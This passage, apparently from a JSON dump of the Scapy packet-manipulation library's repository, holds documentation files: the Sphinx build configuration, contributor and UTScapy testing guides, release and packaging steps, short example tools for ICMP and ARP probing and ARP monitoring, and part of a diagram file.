bit\")\n           #    * 1 means that there is another byte after this one (\"forwarding bit\")\n           # extension_bit is the bit number [0-7] of the extension bit in the byte\n\n    MSBExtendedField, LSBExtendedField      # Special cases of BitExtendedField\n\nTCP/IP\n------\n\n::\n\n    IPField\n    SourceIPField\n    \n    IPoptionsField\n    TCPOptionsField\n    \n    MACField\n    DestMACField(MACField)\n    SourceMACField(MACField)\n    \n    ICMPTimeStampField\n\n802.11\n------\n\n::\n\n    Dot11AddrMACField\n    Dot11Addr2MACField\n    Dot11Addr3MACField\n    Dot11Addr4MACField\n    Dot11SCField\n\nDNS\n---\n\n::\n\n    DNSStrField\n    DNSRRCountField\n    DNSRRField\n    DNSQRField\n\nASN.1\n-----\n\n::\n\n    ASN1F_element\n    ASN1F_field\n    ASN1F_INTEGER\n    ASN1F_enum_INTEGER\n    ASN1F_STRING\n    ASN1F_OID\n    ASN1F_SEQUENCE\n    ASN1F_SEQUENCE_OF\n    ASN1F_PACKET\n    ASN1F_CHOICE\n\nOther protocols\n---------------\n\n::\n\n    NetBIOSNameField         # NetBIOS (StrFixedLenField) \n    \n    ISAKMPTransformSetField  # ISAKMP (StrLenField) \n    \n    TimeStampField           # NTP (BitField)\n\n\nDesign patterns\n===============\nSome patterns are similar to a lot of protocols and thus can be described the same way in Scapy.\n\nThe following parts will present several models and conventions that can be followed when implementing a new protocol.\n\nField naming convention\n-----------------------\nThe goal is to keep the writing of packets fluent and intuitive. The basic instructions are the following :\n\n* Do not use any value from the ``Packet.__slots__``` list as a field name (such as name, time or original), as they are reserved for Scapy internals\n* Use inverted camel case and common abbreviations (e.g. len, src, dst, dstPort, srcIp).\n* Wherever it is either possible or relevant, prefer using the names from the specifications. This aims to help newcomers to easily forge packets.\n\nAdd new protocols to Scapy\n--------------------------\n\nNew protocols can go either in ``scapy/layers`` or to ``scapy/contrib``. Protocols in ``scapy/layers`` should be usually found on common networks, while protocols in ``scapy/contrib`` should be uncommon or specific.\n\nTo be precise, ``scapy/layers`` protocols should not be importing ``scapy/contrib`` protocols, whereas ``scapy/contrib`` protocols may import both ``scapy/contrib`` and ``scapy/layers`` protocols.\n\nScapy provides an ``explore()`` function, to search through the available layer/contrib modules. Therefore, modules contributed back to Scapy must provide information about them, knowingly:\n\n- A **contrib** module must have defined, near the top of the module (below the license header is a good place) **(without the brackets)** `Example <https://github.com/secdev/scapy/blob/0f6ac82ed66919a20226a3d8d164b810c8eb293c/scapy/contrib/openflow.py#L11-L12>`_ ::\n\n    # scapy.contrib.description = [...]\n    # scapy.contrib.status = [...]\n    # scapy.contrib.name = [...] (optional)\n\n- If the contrib module does not contain any packets, and should not be indexed in `explore()`, then you should instead set::\n\n    # scapy.contrib.status = skip \n\n- A **layer** module must have a docstring, in which the first line shortly describes the module.\n\n"
  },
  {
    "path": "doc/scapy/conf.py",
    "content": "# -*- coding: utf-8 -*-\n#\n# Scapy documentation build configuration file, created by\n# sphinx-quickstart on Wed Mar 07 19:02:35 2018.\n#\n# This file is execfile()d with the current directory set to its\n# containing dir.\n#\n# Note that not all possible configuration values are present in this\n# autogenerated file.\n#\n# All configuration values have a default; values that are commented out\n# serve to show the default.\n\nimport datetime\n\n# If extensions (or modules to document with autodoc) are in another directory,\n# add these directories to sys.path here. If the directory is relative to the\n# documentation root, use os.path.abspath to make it absolute, like shown here.\n#\nimport os\nimport sys\nsys.path.insert(0, os.path.abspath('../../'))\nsys.path.append(os.path.abspath('_ext'))\n\n\n# -- General configuration ------------------------------------------------\n\n# If your documentation needs a minimal Sphinx version, state it here.\n#\nneeds_sphinx = '3.0.0'\n\n# Add any Sphinx extension module names here, as strings. They can be\n# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom\n# ones.\nextensions = [\n    'sphinx.ext.autodoc',\n    'sphinx.ext.napoleon',\n    'sphinx.ext.todo',\n    'sphinx.ext.linkcode',\n    'scapy_doc'\n]\n\n# Autodoc configuration\nautodoc_inherit_docstrings = False\nautodoc_default_options = {\n    'undoc-members': True\n}\n\n# Enable the todo module\ntodo_include_todos = True\n\n# Linkcode resolver\nfrom linkcode_res import linkcode_resolve\n\n# Add any paths that contain templates here, relative to this directory.\ntemplates_path = ['_templates']\n\n# The suffix(es) of source filenames.\n# You can specify multiple suffix as a list of string:\n#\n# source_suffix = ['.rst', '.md']\nsource_suffix = '.rst'\n\n# The master toctree document.\nmaster_doc = 'index'\n\n# General information about the project.\nproject = 'Scapy'\nyear = datetime.datetime.now().year\ncopyright = '2008-%s The Scapy community' % year\n\n# The version info for the project you're documenting, acts as replacement for\n# |version| and |release|, also used in various other places throughout the\n# built documents.\nfrom scapy import VERSION, VERSION_MAIN\n# The short X.Y version.\nrelease = VERSION_MAIN\n# The full version, including alpha/beta/rc tags.\nversion = VERSION\n\n# The language for content autogenerated by Sphinx. Refer to documentation\n# for a list of supported languages.\n#\n# This is also used if you do content translation via gettext catalogs.\n# Usually you set \"language\" from the command line for these cases.\nlanguage = 'en'\n\n# List of patterns, relative to source directory, that match files and\n# directories to ignore when looking for source files.\n# This patterns also effect to html_static_path and html_extra_path\nexclude_patterns = ['_build', 'Thumbs.db', '.DS_Store']\n\n# The name of the Pygments (syntax highlighting) style to use.\npygments_style = 'sphinx'\n\n# If true, `todo` and `todoList` produce output, else they produce nothing.\ntodo_include_todos = False\n\n# Enable codeauthor and sectionauthor directives\nshow_authors = True\n\n# Mock python-can\nautodoc_mock_imports = [\"can\"]\n\n\n# -- Options for HTML output ----------------------------------------------\n\n# The theme to use for HTML and HTML Help pages.  See the documentation for\n# a list of builtin themes.\n#\nhtml_theme = 'sphinx_rtd_theme'\n\n# Theme options are theme-specific and customize the look and feel of a theme\n# further.  For a list of options available for each theme, see the\n# documentation.\n#\n# html_theme_options = {}\n\n# Add any paths that contain custom static files (such as style sheets) here,\n# relative to this directory. They are copied after the builtin static files,\n# so a file named \"default.css\" will overwrite the builtin \"default.css\".\nhtml_static_path = ['_static']\n\n# Custom sidebar templates, must be a dictionary that maps document names\n# to template names.\n#\n# This is required for the alabaster theme\n# refs: http://alabaster.readthedocs.io/en/latest/installation.html#sidebars\nhtml_sidebars = {\n    '**': [\n        'relations.html',  # needs 'show_related': True theme option to display\n        'searchbox.html',\n    ]\n}\n\n# Make :manpage directive work on HTML output.\nmanpages_url = 'https://manpages.debian.org/{path}'\n\n# -- Options for HTMLHelp output ------------------------------------------\n\n# Output file base name for HTML help builder.\nhtmlhelp_basename = 'Scapydoc'\n\n\n# -- Options for LaTeX output ---------------------------------------------\n\nlatex_elements = {\n    # The paper size ('letterpaper' or 'a4paper').\n    #\n    'papersize': 'a4paper',\n\n    # The font size ('10pt', '11pt' or '12pt').\n    #\n    'pointsize': '11pt',\n\n    # Additional stuff for the LaTeX preamble.\n    #\n    # 'preamble': '',\n\n    # Latex figure (float) alignment\n    #\n    # 'figure_align': 'htbp',\n}\n\n# Grouping the document tree into LaTeX files. List of tuples\n# (source start file, target name, title,\n#  author, documentclass [howto, manual, or own class]).\nlatex_documents = [\n  ('index', 'Scapy.tex', 'Scapy Documentation',\n   'The Scapy community', 'manual'),\n]\n\n\n# -- Options for manual page output ---------------------------------------\n\n# One entry per manual page. List of tuples\n# (source start file, name, description, authors, manual section).\nman_pages = [\n    (master_doc, 'scapy', 'Scapy Documentation',\n     ['The Scapy community'], 1)\n]\n\n\n# -- Options for Texinfo output -------------------------------------------\n\n# Grouping the document tree into Texinfo files. List of tuples\n# (source start file, target name, title, author,\n#  dir menu entry, description, category)\ntexinfo_documents = [\n    (master_doc, 'Scapy', 'Scapy Documentation',\n     'The Scapy community', 'Scapy',\n     '',\n     'Miscellaneous'),\n]\n\nsuppress_warnings = [\"app.add_directive\", \"ref.python\"]"
  },
  {
    "path": "doc/scapy/development.rst",
    "content": "*****************\nScapy development\n*****************\n\nProject organization\n====================\n\nScapy development uses the Git version control system. Scapy's\nreference repository is at https://github.com/secdev/scapy/.\n\nProject management is done with `Github\n<https://github.com/secdev/scapy/>`_.  It provides a freely editable\n`Wiki <https://github.com/secdev/scapy/wiki/>`_ (please contribute!)\nthat can reference tickets, changesets, files from the project. It\nalso provides a ticket management service that is used to avoid\nforgetting patches or bugs.\n\nHow to contribute\n=================\n\n* Found a bug in Scapy? `Add a ticket <https://github.com/secdev/scapy/issues/new>`_.\n* Improve this documentation.\n* Program a new layer and share it on the mailing list, or create a pull request.\n* Contribute new `regression tests <https://github.com/secdev/scapy/wiki/Contrib:-RegressionTests>`_.\n* Upload packet samples for new protocols on the `packet samples page\n  <https://github.com/secdev/scapy/wiki/Contrib:-PacketSamples>`_.\n\n\nImprove the documentation\n=========================\n\nThe documentation can be improved in several ways by:\n\n* Adding docstrings to the source code.\n* Adding usage examples to the documentation.\n\nAdding Docstrings\n-----------------\nThe Scapy source code has few explanations of what a function is doing. A docstring, by adding explanation and\nexpected input and output parameters, helps saving time for both the layer developers and the users looking for\nadvanced features.\n\nAn example of docstring from the ``scapy.fields.FlagsField`` class: ::\n\n  class FlagsField(BitField):\n    \"\"\" Handle Flag type field\n\n     Make sure all your flags have a label\n\n     Example:\n         >>> from scapy.packet import Packet\n         >>> class FlagsTest(Packet):\n                 fields_desc = [FlagsField(\"flags\", 0, 8, [\"f0\", \"f1\", \"f2\", \"f3\", \"f4\", \"f5\", \"f6\", \"f7\"])]\n         >>> FlagsTest(flags=9).show2()\n         ###[ FlagsTest ]###\n           flags     = f0+f3\n         >>> FlagsTest(flags=0).show2().strip()\n         ###[ FlagsTest ]###\n           flags     =\n\n     :param name: field's name\n     :param default: default value for the field\n     :param size: number of bits in the field\n     :param names: (list or dict) label for each flag, Least Significant Bit tag's name is written first\n     \"\"\"\n\nIt will contain a short one-line description of the class followed by some indications about its usage.\nYou can add a usage example if it makes sense using the `doctest <https://docs.python.org/2.7/library/doctest.html>`_ format.\nFinally, the classic python signature can be added following the `sphinx documentation  <http://www.sphinx-doc.org/en/stable/domains.html#python-signatures>`_.\n\nThis task works in pair with writing non regression unit tests.\n\nDocumentation\n-------------\nA way to improve the documentation content is by keeping it up to date with the latest version of Scapy. You can also help by adding usage examples of your own or directly gathered from existing online Scapy presentations.\n\nTesting with UTScapy\n====================\n\nWhat is UTScapy?\n----------------\n\nUTScapy is a small Python program that reads a campaign of tests, runs the campaign with Scapy and generates a report indicating test status. The report may be in one of four formats, text, ansi, HTML or LaTeX.\n\nThree basic test containers exist with UTScapy, a unit test, a test set and a test campaign. A unit test is a list of Scapy commands that will be run by Scapy or a derived work of Scapy. Evaluation of the last command in the unit test will determine the end result of the individual unit test. A test set is a group of unit tests with some association. A test campaign consists of one or more test sets. Test sets and unit tests can be given keywords to form logical groupings. When running a campaign, tests may be selected by keyword. This allows the user to run tests within the desired grouping.\n\nFor each unit test, test set and campaign, a CRC32 of the test is calculated and displayed as a signature of that test. This test signature is sufficient to determine that the actual test run was the one expected and not one that has been modified. In case your dealing with evil people that try to modify or corrupt the file without changing the CRC32, a global SHA1 is computed on the whole file.\n\nSyntax of a Test Campaign\n-------------------------\n\nTable 1 shows the syntax indicators that UTScapy is looking for. The syntax specifier must appear as the first character of each line of the text file that defines the test. Text descriptions that follow the syntax specifier are arguments interpreted by UTScapy. Lines that appear without a leading syntax specifier will be treated as Python commands, provided they appear in the context of a unit test. Lines without a syntax specifier that appear outside the correct context will be rejected by UTScapy and a warning will be issued. \n\n================   =================\nSyntax Specifier   Definition\n================   =================\n‘%’                Give the test campaign's name.\n‘+’                Announce a new test set.\n‘=’                Announce a new unit test.\n‘~’                Announce keywords for the current unit test.\n‘*’                Denotes a comment that will be included in the report.\n‘#’                Testcase annotations that are discarded by the interpreter.\n================   =================\n\nTable 1 - UTScapy Syntax Specifiers\n\nComments placed in the test report have a context. Each comment will be associated with the last defined test container - be it an individual unit test, a test set or a test campaign. Multiple comments associated with a particular container will be concatenated together and will appear in the report directly after the test container announcement. General comments for a test file should appear before announcing a test campaign. For comments to be associated with a test campaign, they must appear after the declaration of the test campaign but before any test set or unit test. Comments for a test set should appear before the definition of the set’s first unit test.\n\nThe generic format for a test campaign is shown in the following table::\n\n    % Test Campaign Name\n    * Comment describing this campaign\n\n    \n    + Test Set 1\n    * comments for test set 1\n    \n    = Unit Test 1\n    ~ keywords\n    * Comments for unit test 1\n    # Python statements follow\n    a = 1\n    print(a)\n    a == 1\n\n\nPython statements are identified by the lack of a defined UTScapy syntax specifier. The Python statements are fed directly to the Python interpreter as if one is operating within the interactive Scapy shell (``interact``). Looping, iteration and conditionals are permissible but must be terminated by a blank line. A test set may be comprised of multiple unit tests and multiple test sets may be defined for each campaign. It is even possible to have multiple test campaigns in a particular test definition file. The use of keywords allows testing of subsets of the entire campaign. For example, during the development of a test campaign, the user may wish to mark new tests under development with the keyword “debug”. Once the tests run successfully to their desired conclusion, the keyword “debug” could be removed. Keywords such as “regression” or “limited” could be used as well.\n\nIt is important to note that UTScapy uses the truth value from the last Python statement as the indicator as to whether a test passed or failed. Multiple logical tests may appear on the last line. If the result is 0 or False, the test fails. Otherwise, the test passes. Use of an assert() statement can force evaluation of intermediate values if needed.\n\nThe syntax for UTScapy is shown in Table 3 - UTScapy command line syntax::\n\n    [root@localhost scapy]# ./UTscapy.py –h\n    Usage: UTscapy [-m module] [-f {text|ansi|HTML|LaTeX}] [-o output_file]\n                   [-t testfile] [-k keywords [-k ...]] [-K keywords [-K ...]]\n                   [-l] [-d|-D] [-F] [-q[q]]\n    -l              : generate local files\n    -F              : expand only failed tests\n    -d              : dump campaign\n    -D              : dump campaign and stop\n    -C              : don't calculate CRC and SHA\n    -q              : quiet mode\n    -qq             : [silent mode]\n    -n <testnum>    : only tests whose numbers are given (eg. 1,3-7,12)\n    -m <module>     : additional module to put in the namespace\n    -k <kw1>,<kw2>,...      : include only tests with one of those keywords (can be used many times)\n    -K <kw1>,<kw2>,...      : remove tests with one of those keywords (can be used many times)\n\nTable 3 - UTScapy command line syntax\n\nAll arguments are optional. Arguments that have no associated argument value may be strung together (i.e. ``–lqF``). If no testfile is specified, the test definition comes from <STDIN>. Similarly, if no output file is specified it is directed to <STDOUT>. The default output format is “ansi”. Table 4 lists the arguments, the associated argument value and their meaning to UTScapy.\n\n==========  ==============  =============================================================================\nArgument    Argument Value  Meaning to UTScapy\n==========  ==============  =============================================================================\n-t          testfile        Input test file defining test campaign (default = <STDIN>)\n-o          output_file     File for output of test campaign results (default = <STDOUT>)\n-f          test            ansi, HTML, LaTeX, Format out output report (default = ansi)\n-l                          Generate report associated files locally. For HTML, generates JavaScript \n                            and the style sheet\n-F                          Failed test cases will be initially expanded by default in HTML output\n-d                          Print a terse listing of the campaign before executing the campaign\n-D                          Print a terse listing of the campaign and stop. Do not execute campaign\n-C                          Do not calculate test signatures\n-q                          Do not update test progress to the screen as tests are executed\n-qq                         Silent mode\n-n          testnum         Execute only those tests listed by number. Test numbers may be\n                            retrieved using –d or –D. Tests may be listed as a comma\n                            separated list and may include ranges (e.g. 1, 3-7, 12)\n-m          module          Load module before executing tests. Useful in testing derived works of Scapy.\n                            Note: Derived works that are intended to execute as \"__main__\" will not be\n                            invoked by UTScapy as “__main__”.\n-k          kw1, kw2, ...   Include only tests with keyword “kw1”. Multiple keywords may be specified.\n-K          kw1, kw2, ...   Exclude tests with keyword “kw1”. Multiple keywords may be specified.  \n==========  ==============  =============================================================================\n\nTable 4 - UTScapy parameters\n\nTable 5 shows a simple test campaign with multiple tests set definitions. Additionally, keywords are specified that allow a limited number of test cases to be executed. Notice the use of the ``assert()`` statement in test 3 and 5 used to check intermediate results. Tests 2 and 5 will fail by design.\n\n:: \n\n    % Example Test Campaign\n    \n    # Comment describing this campaign\n    #\n    # To run this campaign, try:\n    #   ./UTscapy.py -t example_campaign.txt -f html -o example_campaign.html -F\n    #\n    \n    * This comment is associated with the test campaign and will appear \n    * in the produced output.\n    \n    + Test Set 1\n    \n    = Unit Test 1\n    ~ test_set_1 simple\n    a = 1\n    print(a)\n    \n    = Unit test 2\n    ~ test_set_1 simple\n    * this test will fail\n    b = 2\n    a == b\n    \n    = Unit test 3\n    ~ test_set_1 harder\n    a = 1\n    b = 2\n    c = \"hello\"\n    assert (a != b)\n    c == \"hello\"\n    \n    + Test Set 2\n    \n    = Unit Test 4\n    ~ test_set_2 harder\n    b = 2\n    d = b\n    d is b\n    \n    = Unit Test 5\n    ~ test_set_2 harder hardest\n    a = 2\n    b = 3\n    d = 4\n    e = (a * b)**d\n    # The following statement evaluates to False but is not last; continue\n    e == 6\n    # assert evaluates to False; stop test and fail\n    assert (e == 7)\n    e == 1296\n    \n    = Unit Test 6\n    ~ test_set_2 hardest\n    print(e)\n    e == 1296\n\nTo see an example that is targeted to Scapy, go to http://www.secdev.org/projects/UTscapy. Cut and paste the example at the bottom of the page to the file ``demo_campaign.txt`` and run UTScapy against it::\n\n./test/run_tests -t demo_campaign.txt -f html -o demo_campaign.html -F -l\n\nExamine the output generated in file ``demo_campaign.html``.\n\nUsing tox to test Scapy\n-----------------------\n\nThe ``tox`` command simplifies testing Scapy. It will automatically create\nvirtual environments and install the mandatory Python modules.\n\nFor example, on a fresh Debian installation, the following command will start\nall Scapy unit tests automatically without any external dependency::\n\n tox -- -K vcan_socket -K tcpdump -K tshark -K nmap -K manufdb -K crypto\n\n.. note:: This will trigger the unit tests on all available Python versions\n  unless you specify a `-e` option. See below\n\nFor your convenience, and for package maintainers, we provide a util that\nrun tox on only a single (default Python) environment, again with no external\ndependencies::\n\n ./test/run_tests\n\nVIM syntax highlighting for .uts files\n--------------------------------------\n\nCopy all files from ``scapy/doc/syntax/vim_uts_syntax/ftdetect`` and ``scapy/doc/syntax/vim_uts_syntax/syntax`` into ``~/.vim/`` and preserve the folder structure.\n\nIf ftdetect/filetype.vim already exists, you might need to modify this file manually.\n\nThese commands will do the installation::\n\n cp -i -v ftdetect/filetype.vim $HOME/.vim/ftdetect/filetype.vim\n cp -i -v ftdetect/uts.vim $HOME/.vim/ftdetect/uts.vim\n cp -i -v syntax/uts.vim $HOME/.vim/syntax/uts.vim\n\nAlternatively, a install script in ``scapy/doc/syntax/vim_uts_syntax/`` does the installation automatically.\n\n\nReleasing Scapy\n===============\n\nUnder the hood, a Scapy release is represented as a signed git tag. Prior to\nsigning a commit, the maintainer that wishes to create a release must:\n\n* check that the corresponding Travis and AppVeyor tests pass\n* run ``./run_scapy`` locally\n* run ``tox``\n* run unit tests on BSD using the Vagrant setup from ``scapy/doc/vagrant_ci/``\n\nTaking v2.4.3 as an example, the following commands can be used to sign and\npublish the release::\n\n $ git tag -s v2.4.3 -m \"Release 2.4.3\"\n $ git tag v2.4.3 -v\n $ git push --tags\n\nRelease Candidates (RC) could also be done. For example, the first RC will be\ntagged v2.4.3rc1 and the message ``2.4.3 Release Candidate #1``.\n\n.. note::\n   To add a signing key, configure to use a SSH one, then register it via::\n        $ git config --global gpg.format ssh\n        $ git config --global user.signingkey ~/.ssh/examplekey.pub\n\nPrior to uploading the release to PyPi, the mail address of the maintainer\nperforming the release must be added next to his name in ``pyproject.toml``.\nSee `this <https://packaging.python.org/en/latest/specifications/declaring-project-metadata/#authors-maintainers>`_ for details.\n\nThe following commands can then be used::\n\n $ pip install --upgrade build\n $ SCAPY_VERSION=2.6.0rc1 python -m build\n $ twine check dist/*\n $ twine upload dist/*\n\n.. warning::\n   Make sure that you don't have left-overs in your ``dist/`` folder ! There should only be the source and the wheel for the package.\n   Also check that the wheel ends in ``*-py3-none-any.whl`` !\n\n\nPackaging Scapy\n===============\n\nWhen packaging Scapy, you should build the source while setting the ``SCAPY_VERSION`` variable, in order to make sure that the version remains consistent.\n\n.. code:: bash\n\n   $ SCAPY_VERSION=2.5.0 python3 -m build\n   ...\n   Successfully built scapy-2.5.0.tar.gz and scapy-2.5.0-py3-none-any.whl\n\nIf you want to test Scapy while packaging it, you are encouraged to use the ``./run_tests`` script with no arguments. It will run a subset of the tests that don't use any external dependency, and will be easier to test. The only dependency is ``tox``\n\n.. code:: bash\n\n   $ ./test/run_tests\n"
  },
  {
    "path": "doc/scapy/extending.rst",
    "content": "********************\nBuild your own tools\n********************\n\nYou can use Scapy to make your own automated tools. You can also extend Scapy without having to edit its source file.\n\nIf you have built some interesting tools, please contribute back to the github wiki !\n\n    \nUsing Scapy in your tools\n=========================\nYou can easily use Scapy in your own tools. Just import what you need and do it.\n\nThis first example takes an IP or a name as first parameter, send an ICMP echo request packet and display the completely dissected return packet::\n\n    #! /usr/bin/env python\n    \n    import sys\n    from scapy.all import sr1,IP,ICMP\n    \n    p=sr1(IP(dst=sys.argv[1])/ICMP())\n    if p:\n        p.show()\n\nConfiguring Scapy's logger\n--------------------------\n\nScapy configures a logger automatically using Python's ``logging`` module. This\nlogger is custom to support things like colors and frequency filters. By\ndefault, it is set to ``WARNING`` (when not in interactive mode), but you can\nchange that using for instance::\n\n    import logging\n    logging.getLogger(\"scapy\").setLevel(logging.CRITICAL)\n\nTo disable almost all logs. (Scapy simply won't work properly if a CRITICAL\nfailure occurs)\n\n.. note:: On interactive mode, the default log level is ``INFO``\n\nMore examples\n-------------\n\nThis is a more complex example which does an ARP ping and reports what it found with LaTeX formatting::\n\n    #! /usr/bin/env python\n    # arping2tex : arpings a network and outputs a LaTeX table as a result\n    \n    import sys\n    if len(sys.argv) != 2:\n        print(\"Usage: arping2tex <net>\\n  eg: arping2tex 192.168.1.0/24\")\n        sys.exit(1)\n    \n    from scapy.all import srp, Ether, ARP, conf\n    conf.verb = 0\n    ans, unans = srp(Ether(dst=\"ff:ff:ff:ff:ff:ff\") / ARP(pdst=sys.argv[1]),\n                     timeout=2)\n    \n    print(r\"\\begin{tabular}{|l|l|}\")\n    print(r\"\\hline\")\n    print(r\"MAC & IP\\\\\")\n    print(r\"\\hline\")\n    for snd,rcv in ans:\n        print(rcv.sprintf(r\"%Ether.src% & %ARP.psrc%\\\\\"))\n    print(r\"\\hline\")\n    print(r\"\\end{tabular}\")\n\nHere is another tool that will constantly monitor all interfaces on a machine and print all ARP request it sees, even on 802.11 frames from a Wi-Fi card in monitor mode. Note the store=0 parameter to sniff() to avoid storing all packets in memory for nothing::\n\n    #! /usr/bin/env python\n    from scapy.all import *\n    \n    def arp_monitor_callback(pkt):\n        if ARP in pkt and pkt[ARP].op in (1,2): #who-has or is-at\n            return pkt.sprintf(\"%ARP.hwsrc% %ARP.psrc%\")\n    \n    sniff(prn=arp_monitor_callback, filter=\"arp\", store=0)\n\nFor a real life example, you can check `Wifitap <http://sid.rstack.org/static/articles/w/i/f/Wifitap_EN_9613.html>`_. Sadly, Wifitap is no longer maintained but nonetheless demonstrates Scapy's Wi-Fi capabilities. The code can be retrieved from `github <https://github.com/gdssecurity/wifitap/>`_.\n\n\nExtending Scapy with add-ons\n============================\n\nIf you need to add some new protocols, new functions, anything, you can write it directly into Scapy's source file. But this is not very convenient. Even if those modifications are to be integrated into Scapy, it can be more convenient to write them in a separate file.\n\nOnce you've done that, you can launch Scapy and import your file, but this is still not very convenient. Another way to do that is to make your file executable and have it call the Scapy function named interact()::\n\n    #! /usr/bin/env python\n    \n    # Set log level to benefit from Scapy warnings\n    import logging\n    logger = logging.getLogger(\"scapy\")\n    logger.setLevel(logging.INFO)\n    \n    from scapy.all import *\n    \n    class Test(Packet):\n        name = \"Test packet\"\n        fields_desc = [ ShortField(\"test1\", 1),\n                        ShortField(\"test2\", 2) ]\n    \n    def make_test(x,y):\n        return Ether()/IP()/Test(test1=x,test2=y)\n    \n    if __name__ == \"__main__\":\n        interact(mydict=globals(), mybanner=\"Test add-on v3.14\")\n\n\nIf you put the above listing in the test_interact.py file and make it executable, you'll get::\n\n    # ./test_interact.py \n    Welcome to Scapy (0.9.17.109beta)\n    Test add-on v3.14\n    >>> make_test(42,666)\n    <Ether type=0x800 |<IP |<Test test1=42 test2=666 |>>>\n    \n\n"
  },
  {
    "path": "doc/scapy/functions.rst",
    "content": "***********************\nCalling Scapy functions\n***********************\n\nThis section provides some examples that show how to benefit from Scapy\nfunctions in your own code.\n\nUDP checksum\n============\n\nThe following example explains how to use the checksum() function to compute and\nUDP checksum manually. The following steps must be performed:\n\n1. compute the UDP pseudo header as described in RFC768\n2. build a UDP packet with Scapy with p[UDP].chksum=0\n3. call checksum() with the pseudo header and the UDP packet\n\n::\n\n  from scapy.all import *\n\n  # Get the UDP checksum computed by Scapy\n  packet = IP(dst=\"10.11.12.13\", src=\"10.11.12.14\")/UDP()/DNS()\n  packet = IP(raw(packet))  # Build packet (automatically done when sending)\n  checksum_scapy = packet[UDP].chksum\n\n  # Set the UDP checksum to 0 and compute the checksum 'manually'\n  packet = IP(dst=\"10.11.12.13\", src=\"10.11.12.14\")/UDP(chksum=0)/DNS()\n  packet_raw = raw(packet)\n  udp_raw = packet_raw[20:]\n  # in4_chksum is used to automatically build a pseudo-header\n  chksum = in4_chksum(socket.IPPROTO_UDP, packet[IP], udp_raw)  # For more infos, call \"help(in4_chksum)\"\n\n  assert(checksum_scapy == chksum)\n"
  },
  {
    "path": "doc/scapy/graphics/fwdmachine.drawio",
    "content": "<mxfile host=\"Electron\" agent=\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) draw.io/26.2.15 Chrome/134.0.6998.205 Electron/35.2.1 Safari/537.36\" version=\"26.2.15\">\n  <diagram name=\"Page-1\" id=\"3eQeVxgT0xKmxOa0yvxr\">\n    <mxGraphModel dx=\"734\" dy=\"773\" grid=\"1\" gridSize=\"10\" guides=\"1\" tooltips=\"1\" connect=\"1\" arrows=\"1\" fold=\"1\" page=\"1\" pageScale=\"1\" pageWidth=\"850\" pageHeight=\"1100\" math=\"0\" shadow=\"0\">\n      <root>\n        <mxCell id=\"0\" />\n        <mxCell id=\"1\" parent=\"0\" />\n        <mxCell id=\"gbJlk89orvP5wBzR6b9x-1\" value=\"\" style=\"rounded=0;whiteSpace=wrap;html=1;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"260\" y=\"160\" width=\"180\" height=\"240\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"gbJlk89orvP5wBzR6b9x-6\" value=\"Client\" style=\"rounded=1;whiteSpace=wrap;html=1;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"70\" y=\"249\" width=\"120\" height=\"60\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"gbJlk89orvP5wBzR6b9x-7\" value=\"\" style=\"endArrow=classic;html=1;rounded=0;exitX=1;exitY=0.5;exitDx=0;exitDy=0;entryX=0;entryY=0.5;entryDx=0;entryDy=0;\" edge=\"1\" parent=\"1\" source=\"gbJlk89orvP5wBzR6b9x-6\" target=\"gbJlk89orvP5wBzR6b9x-1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"190\" y=\"279\" as=\"sourcePoint\" />\n            <mxPoint x=\"240\" y=\"280\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"gbJlk89orvP5wBzR6b9x-13\" value=\"&lt;div&gt;Server&lt;/div&gt;&lt;font style=&quot;font-size: 10px;&quot;&gt;192.168.0.1&lt;/font&gt;\" style=\"rounded=1;whiteSpace=wrap;html=1;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"510\" y=\"250\" width=\"120\" height=\"60\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"gbJlk89orvP5wBzR6b9x-14\" value=\"\" style=\"endArrow=classic;html=1;rounded=0;exitX=1;exitY=0.5;exitDx=0;exitDy=0;entryX=0;entryY=0.5;entryDx=0;entryDy=0;\" edge=\"1\" parent=\"1\" source=\"gbJlk89orvP5wBzR6b9x-1\" target=\"gbJlk89orvP5wBzR6b9x-13\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"440\" y=\"275\" as=\"sourcePoint\" />\n            <mxPoint x=\"510\" y=\"275\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"gbJlk89orvP5wBzR6b9x-19\" value=\"ForwardingMachine\" style=\"text;html=1;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"355\" y=\"155\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"gbJlk89orvP5wBzR6b9x-22\" value=\"\" style=\"endArrow=classic;html=1;rounded=0;exitX=0;exitY=0.5;exitDx=0;exitDy=0;entryX=1;entryY=0.5;entryDx=0;entryDy=0;dashed=1;\" edge=\"1\" parent=\"1\" source=\"gbJlk89orvP5wBzR6b9x-1\" target=\"gbJlk89orvP5wBzR6b9x-1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"290\" y=\"196\" as=\"sourcePoint\" />\n            <mxPoint x=\"450\" y=\"196\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"gbJlk89orvP5wBzR6b9x-25\" value=\"FORWARD\" style=\"edgeLabel;html=1;align=center;verticalAlign=middle;resizable=0;points=[];labelBackgroundColor=#CCFFFF;\" vertex=\"1\" connectable=\"0\" parent=\"gbJlk89orvP5wBzR6b9x-22\">\n          <mxGeometry x=\"-0.1091\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"6\" as=\"offset\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"gbJlk89orvP5wBzR6b9x-26\" value=\"\" style=\"curved=0;endArrow=dash;html=1;rounded=0;exitX=0;exitY=0.5;exitDx=0;exitDy=0;dashed=1;startFill=0;endFill=0;\" edge=\"1\" parent=\"1\" source=\"gbJlk89orvP5wBzR6b9x-1\">\n          <mxGeometry 